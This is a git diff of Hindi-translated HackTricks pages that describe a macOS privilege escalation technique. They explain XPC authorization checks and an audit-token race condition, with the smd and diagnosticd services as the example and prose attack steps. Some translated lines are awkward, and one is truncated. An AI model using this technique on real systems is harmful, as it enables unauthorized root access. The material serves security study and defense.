* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह,
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
@ -14,9 +14,9 @@
## XPC अधिकृतता
एप्पल ने भी एक और तरीका प्रस्तावित किया है जिससे पता लगाया जा सकता है कि कनेक्ट करने वाली प्रक्रिया को **अनुमति है कि क्या एक उभरता हुआ XPC विधि को कॉल करने की** अनुमति है
एप्पल ने भी एक और तरीका प्रस्तावित किया है जिससे पता लगाया जा सकता है कि कनेक्ट करने वाली प्रक्रिया को **अनुमति है कि क्या वह एक उभरते हुए XPC विधि को कॉल कर सकती है**
जब एक एप्लिकेशन को **विशेषाधिकारी उपयोगकर्ता के रूप में कार्रवाई करनी होती है**, तो एक उभरता हुई सेवा के रूप में एक HelperTool को रूट के रूप में स्थापित करने के बजाय, आमतौर पर ऐप को उन कार्रवाइयों को करने के लिए कॉल करने के लिए एक XPC सेवा के रूप में कॉल किया जा सकता है। हालांकि, सेवा को कॉल करने वाले ऐप को पर्याप्त अधिकृतता होनी चाहिए।
जब एक एप्लिकेशन को **विशेषाधिकारी उपयोगकर्ता के रूप में कार्रवाई करनी होती है**, तो एक उभरते हुए XPC सेवा के रूप में एक HelperTool को रूट के रूप में स्थापित करने की बजाय, आमतौर पर ऐप को रूट के रूप में चलाने की आवश्यकता होती है जिसे ऐप कॉल कर सकती हैं। हालांकि, सेवा को कॉल करने वाली ऐप को पर्याप्त अधिकृतता होनी चाहिए।
### ShouldAcceptNewConnection हमेशा YES
@ -184,13 +184,13 @@ block(authRightName, authRightDefault, authRightDesc);
```
इसका मतलब है कि इस प्रक्रिया के अंत में, `commandInfo` में घोषित अनुमतियाँ `/var/db/auth.db` में संग्रहीत होंगी। ध्यान दें कि वहां आपको **प्रत्येक विधि** के लिए जो **प्रमाणीकरण की आवश्यकता होगी**, **अनुमति का नाम** और **`kCommandKeyAuthRightDefault`** मिलेगा। इसका अंतिम एक **यह दर्शाता है कि यह अधिकार किसे प्राप्त कर सकता है**
एक अधिकार क पहुंच करने वाले व्यक्ति को दर्शाने के लिए विभिन्न दायरे हैं। इनमें से कुछ [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) में परिभाषित हैं (आप [इनमें से सभी को यहां पा सकते हैं](https://www.dssw.co.uk/reference/authorization-rights/)), लेकिन सारांश में:
एक अधिकार क पहुंचने वाले व्यक्ति को दर्शाने के लिए विभिन्न दायरे हैं। इनमें से कुछ [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) में परिभाषित हैं (आप [इनमें से सभी को यहां पा सकते हैं](https://www.dssw.co.uk/reference/authorization-rights/)), लेकिन सारांश में:
<table><thead><tr><th width="284.3333333333333">नाम</th><th width="165">मान</th><th>विवरण</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>अनुमति</td><td>कोई भी</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>निषेध</td><td>कोई नहीं</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>वर्तमान उपयोगकर्ता को एडमिन होना चाहिए (एडमिन समूह में)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>उपयोगकर्ता सत्यापित करने के लिए कहें।</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>उपयोगकर्ता सत्यापित करने के लिए कहें। उसे एडमिन होना चाहिए (एडमिन समूह में)</td></tr><tr><td>kAuthorizationRightRule</td><td>नियम</td><td>नियम निर्दिष्ट करें</td></tr><tr><td>kAuthorizationComment</td><td>टिप्पणी</td><td>अधिकार पर कुछ अतिरिक्त टिप्पणियाँ निर्दिष्ट करें</td></tr></tbody></table>
<table><thead><tr><th width="284.3333333333333">नाम</th><th width="165">मान</th><th>विवरण</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>अनुमति</td><td>कोई भी</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>निषेध</td><td>कोई नहीं</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>व्यवस्थापक</td><td>वर्तमान उपयोगकर्ता को व्यवस्थापक होना चाहिए (व्यवस्थापक समूह में)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>अधिकृत-सत्र-मालिक के रूप में प्रमाणीकरण करें</td><td>उपयोगकर्ता से प्रमाणीकरण करें।</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>व्यवस्थापक के रूप में प्रमाणीकरण करें</td><td>उपयोगकर्ता से प्रमाणीकरण करें। उसे व्यवस्थापक होना चाहिए (व्यवस्थापक समूह में)</td></tr><tr><td>kAuthorizationRightRule</td><td>नियम</td><td>नियम निर्दिष्ट करें</td></tr><tr><td>kAuthorizationComment</td><td>टिप्पणी</td><td>अधिकार पर कुछ अतिरिक्त टिप्पणियाँ निर्दिष्ट करें</td></tr></tbody></table>
### अधिकार सत्यापन
`HelperTool/HelperTool.m` में फ़ंक्शन **`readLicenseKeyAuthorization`** यह जांचता है कि कॉलर को **ऐसी विधि को निष्पादित करने की** अनुमति है या नहीं, फ़ंक्शन **`checkAuthorization`** को कॉल करके। यह फ़ंक्शन **आवंटित डेटा** की सही प्रारूप में है या नहीं जांचेगा और फिर **उसे क्या चाहिए अधिकार प्राप्त करने के लिए** वह जांचेगा। अगर सब कुछ ठीक होता है तो **वापसी की गई `त्रुटि` शून्य होगी**:
`HelperTool/HelperTool.m` में फ़ंक्शन **`readLicenseKeyAuthorization`** यह जांचता है कि कॉलर को **ऐसी विधि को निष्पादित करने की** अनुमति है या नहीं, फ़ंक्शन **`checkAuthorization`** को कॉल करके। यह फ़ंक्शन **आवंटित डेटा** की सही प्रारूप में है या नहीं जांचेगा और फिर **उसे जांचेगा कि विशेष विधि को बुलाने के लिए क्या आवश्यक है**। यदि सब कुछ ठीक होता है तो **वापसी की गई `त्रुटि` शून्य होगी**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -264,7 +264,7 @@ security authorizationdb read com.apple.safaridriver.allow
2. **'allow-root': 'true'**
* यदि एक उपयोगकर्ता रूट उपयोगकर्ता के रूप में कार्य कर रहा है (जिसमें उच्चतर अनुमतियाँ होती हैं), और यह कुंजी `true` पर सेट की जाती है, तो रूट उपयोगकर्ता इस अधिकार को और प्रमाणीकरण के बिना प्राप्त कर सकता है। हालांकि, आमतौर पर, एक रूट उपयोगकर्ता स्थिति तक पहुंचने के लिए पहले से ही प्रमाणीकरण की आवश्यकता होती है, इसलिए यह अधिकांश उपयोगकर्ताओं के लिए "कोई प्रमाणीकरण नहीं" स्थिति नहीं है।
3. **'session-owner': 'true'**
* यदि इसे `true` पर सेट किया जाता है, तो सत्र के मालिक (वर्तमान में लॉग इन किए गए उपयोगकर्ता) को यह अधिकार स्वचालित रूप से प्राप्त होगा। यदि उपयोगकर्ता पहले से ही लॉग इन है, तो यह अतिरिक्त प्रमाणीकरण को छोड़ सकता है।
* यदि इसे `true` पर सेट किया जाता है, तो सत्र के मालिक (वर्तमान में लॉग इन किए गए उपयोगकर्ता) को यह अधिकार स्वचालित रूप से मिल जाएगा। यदि उपयोगकर्ता पहले से ही लॉग इन है, तो यह अतिरिक्त प्रमाणीकरण को छोड़ सकता है।
4. **'shared': 'true'**
* यह कुंजी प्रमाणीकरण के बिना अधिकार प्रदान नहीं करती है। बजाय इसके, यदि इसे `true` पर सेट किया जाता है, तो इसका अर्थ होता है कि एक बार अधिकार प्रमाणीकृत हो जाने के बाद, इसे कई प्रक्रियाओं के बीच साझा किया जा सकता है बिना प्रत्येक प्रक्रिया को पुनः प्रमाणीकृत करने की आवश्यकता होती है। लेकिन अधिकार की प्रारंभिक प्रदान करने के लिए प्रमाणीकरण की आवश्यकता होगी, यहां तक कि यह `'authenticate-user': 'false'` जैसी अन्य कुंजियों के साथ संयुक्त नहीं हो।
@ -283,17 +283,17 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
### जांचें कि क्या EvenBetterAuthorization का उपयोग हो रहा है
यदि आपको फ़ंक्शन मिलता है: **`[HelperTool checkAuthorization:command:]`**, तो संभवतः प्रक्रिया पहले उल्लिखित अधिकृती के लिए योजना का उपयोग कर रही है:
यदि आपको फ़ंक्शन मिलता है: **`[HelperTool checkAuthorization:command:]`** तो संभवतः प्रक्रिया पहले उल्लिखित अधिकृती के लिए योजना का उपयोग कर रही है:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
इसके बाद, यदि इस फ़ंक्शन को `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` जैसी फ़ंक्शन को कॉल कर रहा है, तो यह [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) का उपयोग कर रही है।
अधिकृत कार्रवाई को उपयोगकर्ता संवाद के बिना कॉल करने की अनुमति मिलने के लिए **`/var/db/auth.db`** की जांच करें
यह जांचने के लिए **`/var/db/auth.db`** की जांच करें कि क्या उपयोगकर्ता संपर्क के बिना कुछ विशेषाधिकार को कॉल करने की अनुमति मिल सकती है
### प्रोटोकॉल संवाद
### प्रोटोकॉल संचार
फिर, आपको XPC सेवा के साथ संवाद स्थापित करने के लिए प्रोटोकॉल योजना खोजनी होगी।
फिर, आपको XPC सेवा के साथ संचार स्थापित करने के लिए प्रोटोकॉल योजना खोजनी होगी।
फ़ंक्शन **`shouldAcceptNewConnection`** प्रोटोकॉल को निर्यात करने की संकेत देता है:
@ -317,7 +317,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
```
अंत में, हमें केवल इसके साथ संचार स्थापित करने के लिए **बेनक़ाब मैक सेवा का नाम** पता होना चाहिए। इसे ढूंढने के कई तरीके हैं:
* **`[HelperTool init()]`** में, जहां आप मैक सेवा का उपयोग होते हुए देख सकते हैं:
* **`[HelperTool init]`** में जहां आप मैक सेवा का उपयोग होते हुए देख सकते हैं:
<figure><img src="../../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>

View file

@ -8,7 +8,7 @@
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को सबमिट करके**
</details>
@ -22,8 +22,8 @@
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
ब तक याद रखें कि:\
Mach संदेश _mach पोर्ट_ के माध्यम से भेजे जाते हैं, जो मैकर्नल में बने **एकल प्राप्तकर्ता, एकाधिक भेजने वाला संचार** चैनल है। **एकाधिक प्रक्रियाएं संदेश भेज सकती हैं** मगर किसी भी समय **केवल एक प्रक्रिया संदेश पढ़ सकती है**। फ़ाइल डिस्क्रिप्टर और सॉकेट की तरह, मैक पोर्ट्स को कर्नल द्वारा आवंटित और प्रबंधित किया जाता है और प्रक्रियाएं केवल एक पूर्णांक देखती हैं, जिसे वे कर्नल को इंगित करने के लिए उपयोग कर सकती हैं कि वे अपने मैक पोर्ट्स में सेौन सा उपयोग करना चाहती हैं।
भी के लिए याद रखें कि:\
Mach संदेश _mach पोर्ट_ के माध्यम से भेजे जाते हैं, जो मैकर्नल में बने एक **एकल प्राप्तकर्ता, एकाधिक भेजने वाला संचार** चैनल है। **एकाधिक प्रक्रियाएं संदेश भेज सकती हैं** एक मैक पोर्ट को, लेकिन किसी भी समय **केवल एक प्रक्रिया संदेश पढ़ सकती है**। फ़ाइल डिस्क्रिप्टर और सॉकेट की तरह, मैक पोर्ट कर्नल द्वारा आवंटित और प्रबंधित किए जाते हैं और प्रक्रियाएं केवल एक पूर्णांक देखती हैं, जिसे वे कर्नल को इंगित करने के लिए उपयोग कर सकती हैं कि वे अपने मैक पोर्ट का उपयोग करना चाहती हैं।
## XPC कनेक्शन
@ -37,52 +37,52 @@ Mach संदेश _mach पोर्ट_ के माध्यम से भ
आपके लिए दिलचस्प होने वाली बात यह है कि **XPC का अभिकल्पन एक-से-एक कनेक्शन है**, लेकिन यह एक तकनीक पर आधारित है जिसमें **एकाधिक भेजने वाले** हो सकते हैं, इसलिए:
* Mach पोर्ट एकल प्राप्तकर्ता, _**एकाधिक भेजने वाला**_ होता है
* Mach पोर्ट एकल प्राप्तकर्ता, _**एकाधिक भेजने वाले**_ होते हैं
* XPC कनेक्शन का ऑडिट टोकन _**सबसे हाल ही में प्राप्त किए गए संदेश से कॉपी किया जाता है**_
* XPC कनेक्शन के **ऑडिट टोकन** को बहुत सारे **सुरक्षा जांचों** के लिए प्राथमिकता होती है।
* XPC कनेक्शन के **ऑडिट टोकन** को बहुत सारे **सुरक्षा जांचों** के लिए प्राथमिकता है।
हालांकि, पिछली स्थिति वादास्तविक लगती है कि कुछ स्थितियों में यह समस्या उत्पन्न नहीं करेगी:
हालांकि, पिछली स्थिति वादास्तविक लगती है, जहां यह समस्या उत्पन्न नहीं होगी:
* ऑडिट टोकन अक्सर एक अधिकृतता जांच के लिए उपयोग होते हैं ताकि कनेक्शन को स्वीकार करने का निर्णय लिया जा सके। क्योंकि यह संदेश का उपयोग सेवा पोर्ट को करने के लिए होता है, इसलिए **अभी तक कनेक्शन स्थापित नहीं हुआ है**। इस पोर्ट पर अधिक संदेश केवल अतिरिक्त कनेक्शन अनुरोधों के रूप में हैंडल किए जाएंगे। इसलिए किसी भी **कनेक्शन को स्वीकार करने से पहले की जांचें विकल्पशील नहीं होती हैं** (इसका यह भी मतलब है
* ऑडिट टोकन अक्सर एक अधिकृतता जांच के लिए उपयोग होते हैं ताकि कनेक्शन को स्वीकार करने का निर्णय लिया जा सके। क्योंकि यह संदेश का उपयोग सेवा पोर्ट को करते हैं, इसलिए **अभी तक कनेक्शन स्थापित नहीं हुआ है**। इस पोर्ट पर अधिक संदेश केवल अतिरिक्त कनेक्शन अनुरोधों के रूप में हैंडल किए जाएंगे। इसलिए किसी भी **कनेक्शन स्वीकार करने से पहले की जांचें विकल्पशील नहीं होतीं** (इसका यह भी मतलब है कि `-listener:shouldAcceptNewConnection:` के भीतर ऑडिट टोकन सुरक्षित है
## वेरिएंट 1: इवेंट हैंडलर के बाहर xpc_connection_get_audit_token को कॉल करना <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
परिदृश्य:
* दो मैक **सेवाएं** _**A**_ और _**B**_ जिनसे हम दोनों कनेक्ट कर सकते हैं (सैंडबॉक्स प्रोफ़ाइल और कनेक्शन स्वीकार करने से पहले अधिकारीकरण जांचों पर आधारित)।
* _**A**_ को किसी विशेष **कार्रवाई के लिए अधिकारीकरण जांच** होनी चाहिए जिसे _**B**_ (लेकिन हमारे ऐप नहीं) पास कर सकता है
* उदाहरण के लिए, यदि B के पास कुछ **अधिकार** हैं या **रूट** के रूप में चल रहा है, तो यह उसे अधिकारीकृत कार्रवाई करने की अनुमति देगा।
* _**A**_ को क विशेष **कार्रवाई के लिए अधिकारीकरण जांच** होनी चाहिए जिसे _**B**_ पास कर सकता है (लेकिन हमारे ऐप नहीं कर सकता)
* उदाहरण के लिए, यदि B के पास कुछ **अधिकार** हैं या **रूट** के रूप में चल रहा है, तो यह उसे अधिकारीकृत कार्रवाई करने की अनुमति देगा।
* इस अधिकारीकरण जांच के लिए, _**A**_ **असिंक्रोनस्ली ऑडिट टोकन प्राप्त करता है**, उदाहरण के लिए `dispatch_async` से `xpc_connection_get_audit_token` को कॉल करके।
{% hint style="danger" %}
इस मामले में एक हमलावर एक **रेस कंडीशन** ट्रिगर कर सकता है जो एक **एक्सप्लॉइट** बनाता है जो **A से कार्रवाई करने के लिए कहता है** कई बार जबकि **B A को संदेश भेजता है**। जब RC **सफल होता है**, तो **B** का **ऑडिट टोकन** मेमोरी में कॉपी हो जाएगा **जबकि** हमारे **एक्सप्लॉइट** का अनुरोध A द्वारा **हैंडल** किया जा रहा होता है, जिससे इसे **अधिकारीकृत कार्रवाई तक पहुंच मिलती है जिसे केवल B कर सकता है**।
इस मामले में एक हमलावर एक **रेस कंडीशन** ट्रिगर कर सकता है जो एक **एक्सप्लॉइट** बनाता है जो **A से कार्रवाई करने के लिए कहता है** कई बार जबकि **B A को संदेश भेजता है**। जब RC **सफल होता है**, तो **B** का **ऑडिट टोकन** मेमोरी में कॉपी हो जाएगा **जबकि** हमारे **एक्सप्लॉइट** का अनुरोध A द्वारा **हैंडल** किया जा रहा होता है, जिससे इसे **अधिकारी कार्रवाई तक पहुंच मिलती है जिसे केवल B कर सकता है**।
{% endhint %}
यह _**A**_ के साथ हुआ **`smd` के रूप में** और _**B**_ के साथ **`diagnosticd` के रूप में**। smb के [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) फ़ंक्शन का उपयोग करके एक नया विशेषाधिकारित सहायक टूल स्थापित करने के लिए किया जा सकता है (जैसे कि **रूट** के रूप में)। यदि **रूट के रूप में चल रहे प्रक्रिया संपर्क** करती है **smd**, तो कोई अन्य जांच नहीं की जाएगी।
यह _**A**_ के रूप में `smd` और _**B**_ के रूप में `diagnosticd` के साथ हुआ। [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) से smb का उपयोग करके एक नया विशेषाधिकारित सहायक टूल स्थापित करने के लिए उपयोग किया जा सकता है (जैसे कि **रूट** के रूप में)। यदि **रूट के रूप में चल रहे प्रक्रिया संपर्क** करती है **smd**, तो कोई अन्य जांच नहीं की जाएगी।
इसलिए, सेवा **B** **`diagnosticd` है** क्योंकि यह **रूट** के रूप में चलता है और एक प्रक्रिया का **मॉनिटरिंग** करने के लिए उपयोग किया जा सकता है, इसलिए एक बार मॉनिटरिंग शुरू हो जाएगी, यह **हर सेकंड एकाधिक संदेश भेजेगा।**
इसलिए, सेवा **B** **`diagnosticd`** है क्योंकि यह **रूट** के रूप में चल रहा है और इसे **मॉनिटर** करने के लिए उपयोग किया जा सकता है, इसलिए एक बार मॉनिटरिंग शुरू हो जाएगी, यह **हर सेकंड एकाधिक संदेश भेजेगा।**
हम हमला करने के लिए निम्नलिखित करते हैं:
1. हम आम XPC प्रोटोकॉल का पालन करके **`smd`** के साथ अपना **कनेक्शन स्थापित** करते हैं।
2. फिर, हम **`diagnosticd`** के साथ एक **कनेक्शन स्थापित** करते हैं, लेकिन दो नए मैक पोर्ट उत्पन्न करने और उन्हें भेजने की बजाय, हम क्लाइंट पोर्ट भेजने के लिए **`smd` के संदर्भ में हमारे पास हैंडल भेजने की एक कॉपी बनाते हैं**
2. फिर, हम **`diagnosticd`** के साथ एक **कनेक्शन स्थापित** करते हैं, लेकिन दो नए मैक पोर्ट उत्पन्न करने और उन्हें भेजने की बजाय, हम क्लाइंट पोर्ट भेजने के लिए **`smd`** के संदेश भेजने के लिए एक प्रतिलिपि बनाते हैं
3. इसका मतलब है कि हम **`diagnosticd`** को XPC संदेश भेज सकते हैं, लेकिन कोई भी **संदेश `diagnosticd` `smd` पर जाते हैं**&#x20;
* `smd` के लिए, हमारे और `diagnosticd` के संदेश दोनों ही एक ही कनेक्शन पर प्राप्त होते हैं।
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
4. हम **`diagnosticd`** से कहते हैं कि हमारी (या किसी भी सक्रिय) प्रक्रिया की **मॉनिटरिंग शुरू करें** और हम **`smd` को 1004 संदेशों को स्पैम करें** (एक विशेषाधिकारित उपकरण स्थापित करने के लिए)।
5. इससे एक रेस कंडीशन बनता है जो `handle_bless` में एक बहुत विशेष खिड़की में हिट होनी चाहिए। हमें `xpc_connection_get_pid` को हमारी खुद की प्रक्रिया का पीआईडी लौटाने की आवश्यकता है, क्योंकि विशेषाधिकारित सहायक उपकरण हमारे ऐप बंडल में है। हालांकि, `connection_is_authorized` फ़ंक्शन के भीतर `xpc_connection_get_audit_token` को कॉल करने की कॉल को `diganosticd` के ऑडिट टोकन का उपयोग करना चाहिए।
4. हम **`diagnosticd`** से कहते हैं कि हमारी (या किसी भी सक्रिय) प्रक्रिया की मॉनिटरिंग शुरू करें और हम **`smd`** को 1004 संदेशों की रूटीन को स्पैम कर हैं (एक विशेषाधिकारित उपकरण स्थापित करने के लिए)।
5. इससे एक रेस कंडीशन बनता है जो `handle_bless` में एक बहुत विशेष खिड़की में हिट होनी चाहिए। हमें `xpc_connection_get_pid` को हमारी खुद की प्रक्रिया का पीआईडी लौटाने के लिए बुलाना होगा, क्योंकि विशेषाधिकारित सहायक उपकरण हमारे ऐप बंडल में है। हालांकि, `connection_is_authorized` फ़ंक्शन के भीतर `xpc_connection_get_audit_token` को कॉल करने के लिए `diganosticd` के ऑडिट टोकन का उपयोग करना चाहिए।
## वेरिएंट 2: उत्तर फॉरवर्डिंग
## वेरिएंट 2: उत्तर फॉरवर्डिंग
जैसा कि पहले कहा गया है
जैसा कि पहले कहा गया है, XPC कनेक्शन के ल
## सुधार <a href="#the-fix" id="the-fix"></a>
अंत में, हमने `smd` में सामान्य समस्या और विशेष समस्या की रिपोर्ट की। Apple ने इसे केवल `smd` में ही ठीक किया है, जहां `xpc_connection_get_audit_token` को `xpc_dictionary_get_audit_token` के साथ बदल दिया गया है
अंत में, हमने `smd` में सामान्य समस्या और विशेष समस्या की रिपोर्ट की। Apple ने इसे केवल `smd` में ही ठीक किया है, `xpc_connection_get_audit_token` को `xpc_dictionary_get_audit_token` के साथ बदलकर
फ़ंक्शन `xpc_dictionary_get_audit_token` मशीन संदेश से ऑडिट टोकन की कॉपी करता है, जिसका मतलब यह है कि यह सुरक्षित है। हालांकि, `xpc_dictionary_get_audit_token` की तरह, यह सार्वजनिक API का हिस्सा नहीं है। उच्च स्तरीय `NSXPCConnection` API के लिए, मौजूदा संदेश के ऑडिट टोकन को प्राप्त करने के लिए कोई स्पष्ट विधि मौजूद नहीं है, क्योंकि इसमें सभी संदेशों को विधि कॉल में छिपाने का काम किया जाता है।
`xpc_dictionary_get_audit_token` फ़ंक्शन में ऑडिट टोकन को मैक मैसेज से कॉपी किया जाता है, जिसका मतलब यह है कि यह सुरक्षित है। हालांकि, `xpc_dictionary_get_audit_token` की तरह, यह सार्वजनिक API का हिस्सा नहीं है। उच्च स्तरीय `NSXPCConnection` API के लिए, मौजूदा संदेश के ऑडिट टोकन को प्राप्त करने का कोई स्पष्ट तरीका मौजूद नहीं है, क्योंकि इसमें सभी संदेशों को विधि कॉल में छिपािया जाता है।
हमें यह स्पष्ट नहीं है कि Apple ने क्यों एक और सामान्य सुधार नहीं लागू किया, उदाहरण के लिए कनेक्शन के सहेजे गए ऑडिट टोकन के मेल नहीं खाने वाले संदेशों को छोड़ देना। ऐसे स्थितियाँ हो सकती हैं जहां प्रक्रिया के ऑडिट टोकन में वास्तविक बदलाव होता है लेकिन कनेक्शन खुली रहनी चाहिए (उदाहरण के लिए, `setuid` कोल करने पर UID फ़ील्ड बदल जाता है), लेकिन एक अलग PID या PID संस्करण के तरह के बदलाव अपेक्षित नहीं हैं।
हमें यह स्पष्ट नहीं है कि Apple ने क्यों एक और सामान्य सुधार नहीं लागू किया, उदाहरण के लिए कनेक्शन के सहेजे गए ऑडिट टोकन के मेल नहीं खाने वाले संदेशों को छोड़ देना। ऐसे स्थितियाँ हो सकती हैं जहां प्रक्रिया का ऑडिट टोकन वास्तव में बदल जाता है लेकिन कनेक्शन खुली रहनी चाहिए (उदाहरण के लिए, `setuid` कोल करने पर UID फ़ील्ड बदल जाता है), लेकिन एक अलग PID या PID संस्करण के तरह के बदलाव अपेक्षित नहीं हैं।
किसी भी स्थिति में, यह समस्या अभी भी iOS 17 और macOS 14 के साथ मौजूद है, इसलिए अगर आप इसे खोजना चाहते हैं, तो शुभकामनाएं!
@ -90,10 +90,10 @@ Mach संदेश _mach पोर्ट_ के माध्यम से भ
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** की जाए? या क्या आप **PEASS की नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित** की जाए? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को सबमिट करके।**
</details>

View file

@ -0,0 +1,89 @@
# macOS पर्ल एप्लिकेशन इंजेक्शन
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
